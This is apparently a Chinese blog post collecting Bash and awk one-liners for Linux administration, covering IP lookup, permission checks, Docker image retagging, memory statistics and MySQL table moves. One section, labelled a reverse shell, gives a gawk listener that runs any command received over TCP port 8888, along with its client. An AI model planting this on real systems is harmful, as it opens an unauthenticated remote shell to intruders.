Bash Shell案例列表(持续更新:2023-03-07)

Linux获取所有有效IP地址

ip route show|grep dev|sed 's/.*dev //'|awk '{cmd="ip add show "$1"|grep inet|egrep -v \" fe80:| 127.| ::1\"";system(cmd)}'|awk '{print $2}'

Linux获取物理网口上的有效IP地址

ls -l /sys/class/net/*/device|awk '{gsub(".*/net/","",$(NF-2));gsub("/device.*","",$(NF-2));cmd="ip add show "$(NF-2)"|grep inet";system(cmd)}'|awk '{print $2}'

判断文件权限是否低于644

 stat -c %a:以十进制数字格式展示文件权限信息,例如:644

#定义多变量
if [ "$CONFIG_FILE" != "" ];then
  user_mod=$(sudo stat -c %a $CONFIG_FILE|awk '{print substr($1,1,1)}')
  group_mod=$(sudo stat -c %a $CONFIG_FILE|awk '{print substr($1,2,1)}')
  other_mod=$(sudo stat -c %a $CONFIG_FILE|awk '{print substr($1,3,1)}')
  echo $user_mod$group_mod$other_mod" "$CONFIG_FILE
  if ([ $user_mod -le 6 ] && [ $group_mod -le 4 ] && [ $other_mod -le 4 ]);then
    echo "k8s result:true"
  else
    echo "k8s result:false"
  fi; 
else
  echo "k8s result:true"
fi

#定义数组
if [ "$CONFIG_FILE" != "" ];then
  file_mod=($(stat -c %a $CONFIG_FILE |awk '{for(i=1;i<=3;i++) print substr($1,i,1)}'))
  echo ${file_mod[0]}${file_mod[1]}${file_mod[2]}" "$CONFIG_FILE
  if ([ ${file_mod[0]} -le 6 ] && [ ${file_mod[1]} -le 4 ] && [ ${file_mod[2]} -le 4 ]);then
    echo "k8s result:true"
  else
    echo "k8s result:false"
  fi; 
else
  echo "k8s result:true"
fi

#使用awk数组
if [ "$CONFIG_FILE" != "" ];then
  stat -c %a $CONFIG_FILE |awk '{for(i=1;i<=3;i++)file_mod[i]=substr($1,i,1);print file_mod[1]file_mod[2]file_mod[3]"   ""'$CONFIG_FILE'";if(file_mod[1]<=6 && file_mod[2]<=4 && file_mod[3]<=4){print "k8s result:true"}else {print "k8s result:false"}}'
else
  echo "k8s result:true"
fi

 判断文件权限低于644(更简)

stat -c %a /etc/passwd|awk '{if(substr($1,1,1)<=6&&substr($1,2,1)<=4&&substr($1,3,1)<=4){print "passwd file "$0" ;result=true"}else{print "passwd file "$0" ;result=false"}}'

英文词频统计

sed 's/\s\+/\n/g' words.txt|grep -v '^$'|sort |uniq -c|sort -k1nr|awk '{print $2" "$1}'

版本大小判断

$@:全部参数
tr " " "\n":将空格替换为换行符
-V:版本格式正序排列
-rV:版本格式倒序排列
head -n 1:取排序后的第一行
$1:第一个参数

function version_gt() { test "$(echo "$@" | tr " " "\n" | sort -V | head -n 1)" != "$1"; }
function version_ge() { test "$(echo "$@" | tr " " "\n" | sort -rV | head -n 1)" == "$1"; }
function version_lt() { test "$(echo "$@" | tr " " "\n" | sort -rV | head -n 1)" != "$1"; }
function version_le() { test "$(echo "$@" | tr " " "\n" | sort -V | head -n 1)" == "$1"; }

批量TAG并PUSH Docker镜像

docker images |grep -i 'google_containers'|awk -F"com| *" '{args=$1"com"$2":"$3" 192.168.35.100"$2":"$3;cmd="docker tag "args";docker push 192.168.35.100"$2":"$3;system(cmd)}'

获取本机IP地址(支持多网卡)

ip add show $(ip route show |grep default|awk '{print $5}')|grep -v ':' |grep 'scope global' |awk '{print $2}' |awk -F '/' '{print $1}'

awk实现反弹shell

效果如下,参考链接:TCP/IP Internetworking With gawk

#!/bin/awk -f
# Server
BEGIN {
  NetService = "/inet/tcp/8888/0/0"
  while (1){
    NetService |& getline
    cmd=$0
    if(""==cmd){close(NetService);continue}
    print cmd
    BashPipe   = (cmd)    # sets $0 and the fields
    if(cmd=="exit") break;
    while ((BashPipe | getline) > 0)
      print $0 |& NetService
    close(NetService)
    close(BashPipe)
  }
}

#!/bin/awk -f
# Client
BEGIN {
  NetService = "/inet/tcp/0/192.168.35.7/8888"
  while (1){
    printf "CLI> ";getline cmd
	#if(cmd=="exit"){close(NetService); break;} ##放在此处将无法让Server端退出
    print cmd |& NetService
    if(cmd=="exit"){close(NetService); break;} ##放在此处,Server端收到exit命令会推出网络监听
    while((NetService |& getline) > 0){
      print $0
    }
	close(NetService)
  }
}

访问WEB服务

# Web Client
BEGIN {
  RS = ORS = "\r\n"
  HttpService = "/inet/tcp/0/192.168.35.11/30080"
  print "GET http://192.168.35.11:30080/demo/"     |& HttpService
  while ((HttpService |& getline) > 0)
     print $0
  close(HttpService)
}

获取所有进程使用SWAP、物理内存总量

#!/bin/bash
# 将VmSwap替换成VmRSS,可计算所有进程使用物理内存统计。
function get_mm {
SUM=0
OVERALL=0
for DIR in `find /proc/ -maxdepth 1 -type d -regex "^/proc/[0-9]+"`
do
    PID=`echo $DIR | cut -d / -f 3`
    PROGNAME=`ps -p $PID -o comm --no-headers`
    for SWAP in `grep $1 $DIR/status 2>/dev/null | awk '{ print $2 }'`
    do
        let SUM=$SUM+$SWAP
    done
    if (( $SUM > 0 )); then
        echo "PID=$PID swapped $SUM KB ($PROGNAME)"
    fi
    let OVERALL=$OVERALL+$SUM
    SUM=0
done
echo "Overall swap used: $OVERALL KB"
let OVERALL=$OVERALL/1024 && echo "Overall swap used: $OVERALL MB"
}
get_mm VmSwap
get_mm VmRSS

MySQL重命名数据库:mantisdb2 --> mantisdb2_20211008

#!/bin/bash
mysql -uroot -p密码 -e 'create database if not exists mantisdb2_20211008'
list_table=$(mysql -uroot -p密码 -Nse "select table_name from information_schema.TABLES where TABLE_SCHEMA='mantisdb2'")

for table in $list_table
do
    mysql -uroot -p密码 -e "rename table mantisdb2.$table to mantisdb2_20211008.$table"
done

将端口列表转成区间格式

# 例如
1
2
3
6
7
9
10
11
转换成:
1-3,6,7,9-11

# 代码
sed ':a;N;$!ba;s/\n/,/g' port.txt|awk -F, '{for(i=1;i<=NF;i++){if($(i+1)==$i+1 && $(i-1)==$i-1){print "-"}else{print $i}}}'|uniq|sed ':a;N;$!ba;s/\n/,/g'|sed 's/,-,/-/g'

处理 key = value字符串,获取value并判断值范围,关键点在于key以及value前后可能有空格

echo " unlock_time = 600 "|sed 's/ *//g' |awk -F'[ =]+' '{if($2<=900)print $2}' 
echo " unlock_time = 600 "|awk '{match($0,/unlock_time *= *([0-9]+)/,a);if(a[1]<=900)print a[1]}'

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值